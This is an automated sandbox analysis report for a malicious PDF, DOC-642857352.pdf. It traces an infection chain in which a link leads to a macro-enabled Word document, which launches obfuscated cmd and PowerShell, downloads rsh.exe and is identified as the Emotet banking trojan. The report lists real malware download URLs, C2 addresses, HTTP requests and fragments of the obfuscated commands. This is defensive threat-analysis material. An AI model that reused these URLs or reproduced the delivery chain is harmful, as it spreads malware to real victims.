Loading ...

Analysis Report DOC-642857352.pdf

Overview

General Information

Joe Sandbox Version:24.0.0 Fire Opal
Analysis ID:724300
Start date:27.11.2018
Start time:13:58:27
Joe Sandbox Product:Cloud
Overall analysis duration:0h 6m 37s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:DOC-642857352.pdf
Cookbook file name:defaultwindowspdfcookbook.jbs
Analysis system description:Windows 7 (Office 2010 SP2, Java 1.8.0_40 1.8.0_191, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:22
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies
  • HCA enabled
  • EGA enabled
Analysis stop reason:Timeout
Detection:MAL
Classification:mal88.bank.expl.evad.winPDF@28/35@4/2
EGA Information:
  • Successful, ratio: 100%
HCA Information:
  • Successful, ratio: 100%
  • Number of executed functions: 76
  • Number of non-executed functions: 120
Cookbook Comments:
  • Adjust boot time
  • Found application associated with file extension: .pdf
  • Found PDF document
  • Find and activate links
  • Security Warning found
  • Close Viewer
Warnings:
Show All
  • Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe
  • Report size exceeded maximum capacity and may have missing behavior information.
  • Report size getting too big, too many NtDeviceIoControlFile calls found.
  • Report size getting too big, too many NtOpenFile calls found.
  • Report size getting too big, too many NtOpenKeyEx calls found.
  • Report size getting too big, too many NtQueryAttributesFile calls found.
  • Report size getting too big, too many NtQueryValueKey calls found.
  • Report size getting too big, too many NtReadFile calls found.
  • Report size getting too big, too many NtSetInformationFile calls found.
  • Skipping Hybrid Code Analysis (implementation is based on Java, .Net, VB or Delphi, or parses a document) for: powershell.exe, powershell.exe

Detection

StrategyScoreRangeReportingDetection
Threshold880 - 100Report FP / FNmalicious

Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Analysis Advice

Sample might require command line arguments, analyze it with the command line cookbook



Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and Control
Valid Accounts1Command-Line Interface11Valid Accounts1Valid Accounts1Valid Accounts1Credential DumpingProcess Discovery2Application Deployment SoftwareData from Local SystemData Encrypted1Standard Cryptographic Protocol2
Replication Through Removable MediaService Execution1Modify Existing Service1Process Injection1Disabling Security Tools1Network SniffingSecurity Software Discovery31Remote ServicesData from Removable MediaExfiltration Over Other Network MediumStandard Non-Application Layer Protocol3
Drive-by CompromisePowerShell3New Service2New Service2Process Injection1Input CaptureRemote System Discovery1Windows Remote ManagementData from Network Shared DriveAutomated ExfiltrationStandard Application Layer Protocol3
Exploit Public-Facing ApplicationScripting11System FirmwareDLL Search Order HijackingDeobfuscate/Decode Files or Information1Credentials in FilesSystem Service Discovery1Logon ScriptsInput CaptureData EncryptedMultiband Communication
Spearphishing LinkExploitation for Client Execution24Shortcut ModificationFile System Permissions WeaknessScripting11Account ManipulationFile and Directory Discovery1Shared WebrootData StagedScheduled TransferStandard Cryptographic Protocol
Spearphishing AttachmentGraphical User InterfaceModify Existing ServiceNew ServiceObfuscated Files or Information2Brute ForceSystem Information Discovery32Third-party SoftwareScreen CaptureData Transfer Size LimitsCommonly Used Port

Signature Overview

Click to jump to signature section


Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic ProviderShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00212406 CryptDuplicateHash,19_2_00212406
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00212466 CryptEncrypt,CryptDestroyHash,19_2_00212466
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00212496 CryptDestroyHash,19_2_00212496
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_002124F6 CryptDuplicateHash,CryptDecrypt,CryptDestroyHash,19_2_002124F6
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00212595 CryptVerifySignatureW,CryptDestroyHash,19_2_00212595
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00212279 CryptExportKey,19_2_00212279
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_002122F5 CryptAcquireContextW,19_2_002122F5
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_002122C9 CryptGetHashParam,19_2_002122C9
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00212335 CryptImportKey,LocalFree,CryptReleaseContext,19_2_00212335
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00212314 CryptReleaseContext,19_2_00212314
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_002123B7 CryptCreateHash,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,19_2_002123B7
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00212399 CryptGenKey,CryptDestroyKey,CryptReleaseContext,19_2_00212399

Spreading:

barindex
Creates COM task schedule object (often to register a task for autostart)Show sources
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Progid
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Progid
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Enumerates the file systemShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Software Vulnerabilities:

barindex
Document exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Windows\System32\cmd.exe
Potential document exploit detected (performs DNS queries with low reputation score)Show sources
Source: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exeDNS query: name: avrasyaorganizasyon.net
Potential browser exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exeProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEJump to behavior
Potential document exploit detected (performs DNS queries)Show sources
Source: global trafficDNS query: name: avrasyaorganizasyon.net
Potential document exploit detected (performs HTTP gets)Show sources
Source: global trafficTCP traffic: 192.168.1.83:49201 -> 89.19.30.15:80
Potential document exploit detected (unknown TCP traffic)Show sources
Source: global trafficTCP traffic: 192.168.1.83:49201 -> 89.19.30.15:80

Networking:

barindex
Connects to country known for bullet proof hostersShow sources
Source: unknownNetwork traffic detected: IP: 89.19.30.15 Turkey
Internet Provider seen in connection with other malwareShow sources
Source: Joe Sandbox ViewASN Name: AS-26496-GO-DADDY-COM-LLC-GoDaddycomLLCUS AS-26496-GO-DADDY-COM-LLC-GoDaddycomLLCUS
Downloads filesShow sources
Source: C:\Program Files\Internet Explorer\iexplore.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\LowJump to behavior
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET /5087642DQPJSQC/BIZ/US HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: avrasyaorganizasyon.netConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /5087642DQPJSQC/BIZ/US/ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: avrasyaorganizasyon.netConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /my1fugwV HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sphinx-tour.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /my1fugwV/ HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sphinx-tour.comConnection: Keep-Alive
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: avrasyaorganizasyon.net
Posts data to webserverShow sources
Source: unknownHTTP traffic detected: HTTP/1.1 200 OKExpires: Tue, 01 Jan 1970 00:00:00 GMTLast-Modified: Tue, 27 Nov 2018 13:00:20 GMTCache-Control: no-store, no-cache, must-revalidate, max-age=0Cache-Control: post-check=0, pre-check=0Pragma: no-cacheContent-Type: application/mswordContent-Disposition: attachment; filename="PAYMENT #223848OEIWWWS.doc"Content-Transfer-Encoding: binaryDate: Tue, 27 Nov 2018 13:00:20 GMTAccept-Ranges: bytesServer: LiteSpeedConnection: Keep-AliveVary: Accept-EncodingContent-Encoding: gzipTransfer-Encoding: chunkedData Raw: 46 30 30 20 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 58 09 58 93 c7 d6 9e b0 86 b0 23 20 20 48 58 43 10 12 d9 04 59 8b 16 59 2c 9b 20 88 52 14 c2 07 04 c8 42 12 08 11 10 2b 8a 15 5c d9 b4 60 41 a1 b8 54 10 a8 a2 02 2a 15 14 b7 2a 2e 20 2a b5 1a b5 0a 5a 20 b1 88 6c 92 3b 1f 90 5b cb d5 a7 ed bd fd 9f ff ff ef e3 9b bc 73 66 39 73 e6 9c 39 93 65 be 1b ed aa 8f f6 d7 e9 f0 c1 0c b8 02 49 30 21 92 03 32 e2 0e 08 09 c8 d8 e9 3a 50 01 20 1e 0a 0c e4 84 48 24 42 bb 62 20 d7
Urls found in memory or binary dataShow sources
Source: ~DF813EEAC87A33DE9B.TMP.7.drString found in binary or memory: http://avrasyaorganizasyon.net/5087642DQPJSQC/BIZ/US
Source: DOC-642857352.pdfString found in binary or memory: http://avrasyaorganizasyon.net/5087642DQPJSQC/BIZ/US)
Source: {6C5EA244-F244-11E8-A8F7-B808CF8DE4F2}.dat.7.drString found in binary or memory: http://avrasyaorganizasyon.net/5087642DQPJSQC/BIZ/USRoot
Source: rsh.exe, 00000013.00000002.1066900722.00280000.00000004.sdmp, rsh.exe, 00000013.00000002.1066940490.00290000.00000004.sdmpString found in binary or memory: http://egyptecotours.com/Aaw5tZ
Source: powershell.exe, 0000000F.00000002.1058100601.0216D000.00000004.sdmpString found in binary or memory: http://egyptecotours.com/Aaw5tZH
Source: OSPPSVC.EXE, 0000000E.00000002.1072190378.003D8000.00000004.sdmpString found in binary or memory: http://licensing.micr
Source: powershell.exe, 0000000F.00000002.1058100601.0216D000.00000004.sdmpString found in binary or memory: http://nowley-rus.ru/adminisH
Source: powershell.exe, 0000000F.00000002.1058100601.0216D000.00000004.sdmpString found in binary or memory: http://nowley-rus.ru/administrator/cache/tg
Source: rsh.exe, 00000013.00000002.1066900722.00280000.00000004.sdmp, rsh.exe, 00000013.00000002.1066940490.00290000.00000004.sdmp, rsh.exe, 00000013.00000003.1064024692.002FE000.00000004.sdmpString found in binary or memory: http://nowley-rus.ru/administrator/cache/tguHgQZ
Source: powershell.exe, 0000000F.00000002.1055758629.01C00000.00000004.sdmpString found in binary or memory: http://nowley-rus.ru/administrator/cache/tguHgQZH
Source: powershell.exe, 0000000F.00000002.1055758629.01C00000.00000004.sdmpString found in binary or memory: http://nowley-rus.ru/administrator/cache/tguHgQZt
Source: UserCache.bin.2.drString found in binary or memory: http://recentfiles.
Source: UserCache.bin.2.drString found in binary or memory: http://recentfiles.com.adobe.acrobat.extensions.files_description
Source: powershell.exe, 0000000F.00000002.1055758629.01C00000.00000004.sdmpString found in binary or memory: http://secretariaextension.uH
Source: powershell.exe, 0000000F.00000002.1058100601.0216D000.00000004.sdmpString found in binary or memory: http://secretariaextension.unt.edu.ar/wp-coH
Source: powershell.exe, 0000000F.00000002.1052722629.00285000.00000004.sdmpString found in binary or memory: http://secretariaextension.unt.edu.ar/wp-content/
Source: powershell.exe, 0000000F.00000002.1058100601.0216D000.00000004.sdmpString found in binary or memory: http://secretariaextension.unt.edu.ar/wp-content/00002/l24
Source: rsh.exe, 00000013.00000002.1066900722.00280000.00000004.sdmp, rsh.exe, 00000013.00000002.1066940490.00290000.00000004.sdmpString found in binary or memory: http://secretariaextension.unt.edu.ar/wp-content/00002/l24wo4I
Source: powershell.exe, 0000000F.00000002.1058100601.0216D000.00000004.sdmpString found in binary or memory: http://secretariaextension.unt.edu.ar/wp-content/00002/l24wo4IH
Source: powershell.exe, 0000000F.00000002.1055758629.01C00000.00000004.sdmpString found in binary or memory: http://secretariaextension.unt.edu.ar/wp-content/00002/l24wot
Source: powershell.exe, 0000000F.00000002.1058100601.0216D000.00000004.sdmpString found in binary or memory: http://sphinx-tour.com/my1fuH
Source: rsh.exe, 00000013.00000002.1066900722.00280000.00000004.sdmp, rsh.exe, 00000013.00000002.1066940490.00290000.00000004.sdmpString found in binary or memory: http://sphinx-tour.com/my1fugwV
Source: powershell.exe, 0000000F.00000002.1060797524.04430000.00000004.sdmpString found in binary or memory: http://sphinx-tour.com/my1fugwV$
Source: powershell.exe, 0000000F.00000002.1060978581.04549000.00000004.sdmp, powershell.exe, 0000000F.00000003.1049282284.04519000.00000004.sdmp, my1fugwV[1].htm.15.drString found in binary or memory: http://sphinx-tour.com/my1fugwV/
Source: powershell.exe, 0000000F.00000003.1049282284.04519000.00000004.sdmpString found in binary or memory: http://sphinx-tour.com/my1fugwV/0k
Source: powershell.exe, 0000000F.00000002.1058100601.0216D000.00000004.sdmpString found in binary or memory: http://sphinx-tour.com/my1fugwVH
Source: powershell.exe, 0000000F.00000003.1049282284.04519000.00000004.sdmpString found in binary or memory: http://sphinx-tour.com/my1fugwVV
Source: powershell.exe, 0000000F.00000003.1049282284.04519000.00000004.sdmpString found in binary or memory: http://sphinx-tour.com/my1fugwV_
Source: powershell.exe, 0000000F.00000002.1052722629.00285000.00000004.sdmpString found in binary or memory: http://sphinx-tour.com/my1fugwVr
Source: powershell.exe, 0000000F.00000002.1050888827.001B0000.00000004.sdmpString found in binary or memory: http://venturemeets.com/Ge
Source: powershell.exe, 0000000F.00000002.1058100601.0216D000.00000004.sdmpString found in binary or memory: http://venturemeets.com/GeQH
Source: rsh.exe, 00000013.00000002.1066900722.00280000.00000004.sdmp, rsh.exe, 00000013.00000002.1066940490.00290000.00000004.sdmp, rsh.exe, 00000013.00000003.1064024692.002FE000.00000004.sdmpString found in binary or memory: http://venturemeets.com/GeQdV4
Source: powershell.exe, 0000000F.00000002.1058100601.0216D000.00000004.sdmpString found in binary or memory: http://venturemeets.com/GeQdV4H
Source: US[1].htm.8.drString found in binary or memory: http://www.litespeedtech.com/error-page
Source: OSPPSVC.EXE, 0000000E.00000002.1072190378.003D8000.00000004.sdmpString found in binary or memory: http://www.microsoft.co

E-Banking Fraud:

barindex
Detected Emotet e-Banking trojanShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_0021D11919_2_0021D119
Source: C:\Windows\System32\echoshims.exeCode function: 21_2_003ED11921_2_003ED119

Spam, unwanted Advertisements and Ransom Demands:

barindex
Contains functionality to import cryptographic keys (often used in ransomware)Show sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00212335 CryptImportKey,LocalFree,CryptReleaseContext,19_2_00212335

System Summary:

barindex
Powershell connects to networkShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeNetwork Connect: 107.180.48.109 80
Powershell drops PE fileShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\rsh.exeJump to dropped file
Contains functionality to call native functionsShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_001F1FF0 memcpy,NtAllocateVirtualMemory,18_2_001F1FF0
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_001F1EE0 memcpy,NtProtectVirtualMemory,18_2_001F1EE0
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_001F1FF0 memcpy,NtAllocateVirtualMemory,19_2_001F1FF0
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_001F1EE0 memcpy,NtProtectVirtualMemory,19_2_001F1EE0
Source: C:\Windows\System32\echoshims.exeCode function: 20_2_00181FF0 memcpy,NtAllocateVirtualMemory,20_2_00181FF0
Source: C:\Windows\System32\echoshims.exeCode function: 20_2_00181EE0 memcpy,NtProtectVirtualMemory,20_2_00181EE0
Source: C:\Windows\System32\echoshims.exeCode function: 21_2_003C1FF0 memcpy,NtAllocateVirtualMemory,21_2_003C1FF0
Source: C:\Windows\System32\echoshims.exeCode function: 21_2_003C1EE0 memcpy,NtProtectVirtualMemory,21_2_003C1EE0
Contains functionality to delete servicesShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_0021F8B0 _snwprintf,OpenServiceW,DeleteService,CloseServiceHandle,19_2_0021F8B0
Contains functionality to launch a process as a different userShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_0021210D CreateProcessAsUserW,19_2_0021210D
Creates mutexesShow sources
Source: C:\Windows\System32\echoshims.exeMutant created: \BaseNamedObjects\Global\I3C4E0000
Source: C:\Users\user\AppData\Local\Temp\rsh.exeMutant created: \Sessions\2\BaseNamedObjects\PEM668
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: no name
Source: C:\Windows\System32\echoshims.exeMutant created: \BaseNamedObjects\PEME80
Source: C:\Users\user\AppData\Local\Temp\rsh.exeMutant created: \Sessions\2\BaseNamedObjects\PEMA38
Source: C:\Windows\System32\echoshims.exeMutant created: \BaseNamedObjects\PEM194
Source: C:\Users\user\AppData\Local\Temp\rsh.exeMutant created: \Sessions\2\BaseNamedObjects\Global\M3C4E0000
Source: C:\Users\user\AppData\Local\Temp\rsh.exeMutant created: \Sessions\2\BaseNamedObjects\Global\I3C4E0000
Detected potential crypto functionShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_002156EF18_2_002156EF
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_002156EF18_2_002156EF
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_002156EF19_2_002156EF
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_002156EF19_2_002156EF
Source: C:\Windows\System32\echoshims.exeCode function: 20_2_005456EF20_2_005456EF
Source: C:\Windows\System32\echoshims.exeCode function: 20_2_005456EF20_2_005456EF
Source: C:\Windows\System32\echoshims.exeCode function: 21_2_003E56EF21_2_003E56EF
Source: C:\Windows\System32\echoshims.exeCode function: 21_2_003E56EF21_2_003E56EF
Document contains an embedded VBA macro which executes code when the document is opened / closedShow sources
Source: PAYMENT _223848OEIWWWS[1].doc.8.drOLE, VBA macro line: Sub AutoOpen()
Source: PAYMENT _223848OEIWWWS.doc.3sjibq6.partial.8.drOLE, VBA macro line: Sub AutoOpen()
Found potential string decryption / allocating functionsShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: String function: 00211D10 appears 32 times
Reads the hosts fileShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Classification labelShow sources
Source: classification engineClassification label: mal88.bank.expl.evad.winPDF@28/35@4/2
Clickable URLs found in PDFShow sources
Source: DOC-642857352.pdfInitial sample: http://avrasyaorganizasyon.net/5087642dqpjsqc/biz/us
Source: DOC-642857352.pdfInitial sample: http://avrasyaorganizasyon.net/5087642DQPJSQC/BIZ/US
Contains functionality to create servicesShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: _snwprintf,CreateServiceW,CloseServiceHandle,19_2_0021F959
Contains functionality to enum processes or threadsShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_00211C10 CreateToolhelp32Snapshot,18_2_00211C10
Contains functionality to modify services (start/stop/modify)Show sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_0021F9F1 StartServiceW,CloseServiceHandle,CloseServiceHandle,19_2_0021F9F1
Creates files inside the user directoryShow sources
Source: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exeFile created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\services_rdrk.datJump to behavior
Creates temporary filesShow sources
Source: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exeFile created: C:\Users\user\AppData\Local\Temp\acrord32_sbx\FAP4E75.tmpJump to behavior
Found command line outputShow sources
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...y&..........................C\.w&=.w..2...0...0.P.0...o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..2.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....&............................2..@..`.2..~3.`...`.....*u..2................J0.0.
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.6.0.1.,.1.!. ...............2..@..`.2..~3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....&..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....&...........................&........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................6.0.1. .E.Q.U. .0. ..&..............................\....&................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..&....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .".!.j.t.C.:.*.j.t.C.!.=.!.". . .................................o.......o.....l..."....E.J....d...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....&..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....&............................3...0...3.....H.3...0...o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..2.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....&............................2..@..`.2.X.3.`...`.....*u..2................J....
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.6.0.0.,.1.!. ...............2..@..`.2.X.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....&..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....&...........................&........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................6.0.0. .E.Q.U. .0. ..&..............................\....&................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..&....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....&..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....&..........................s.k.t.o.p.>.@..J..2.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....&............................2..@..`.2.8.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.9.9.,.1.!. ...............2..@..`.2.8.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....'..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....'...........................'........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.9.9. .E.Q.U. .0. ..'..............................\....'................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..'....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...)'..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...0'..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..2.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...<'............................2..@..`.2...3.`...`.....*u..2.........,..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.9.8.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...H'..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...N'..........................H'........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.9.8. .E.Q.U. .0. .T'..............................\...N'................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.Z'....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...f'..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...m'..........................s.k.t.o.p.>.@..J..2.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...y'............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.9.7.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....'..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....'...........................'........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.9.7. .E.Q.U. .0. ..'..............................\....'................o.....d.......`I.J....\...
